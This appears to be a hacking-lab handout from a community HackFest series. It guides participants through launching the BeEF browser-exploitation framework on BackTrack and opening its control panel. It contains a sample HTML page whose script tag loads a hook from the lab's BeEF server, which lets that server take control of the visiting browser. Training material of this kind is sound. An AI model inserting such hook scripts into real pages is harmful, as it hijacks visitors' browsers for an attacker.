Where's the BEef?
LAB 10 in PLUG HackFest Series
Instructions:

Boot into BackTrack KDE
From the Menu:
Left Corner KDE --> BackTrack -->SetUp BEef

Enter a Password

A shell terminal will open:
**************************************************************
BeEF Setup Complete!

The BeEF Interface can be found at:
http://192.168.1.69/beef/ui/

Here is a simple HTML example:

<html>
<title>BeEF Example</title>
<body>BeEF<script src='http://192.168.1.69/beef/hook/'></script>
</body>
</html>

An example of how BeEF can be used in an attack can be found at:
http://192.168.1.69/beef/example.html

More information on BeEF can be found at:
http://bindshell.net/tools/beef/
**************************************************************
Next:

Open your browser to your "BEef" exploit page: (it's going to be on the server where BackTrack is running):

It will look like this URL: http://192.168.1.69/beef/example.html

Open another window to your "BEef UI":
It will look like this URL: http://192.168.1.69/beef/ui/#

Tutorials online show you how:
http://www.bindshell.net/tools/beef//tutorials/modules.html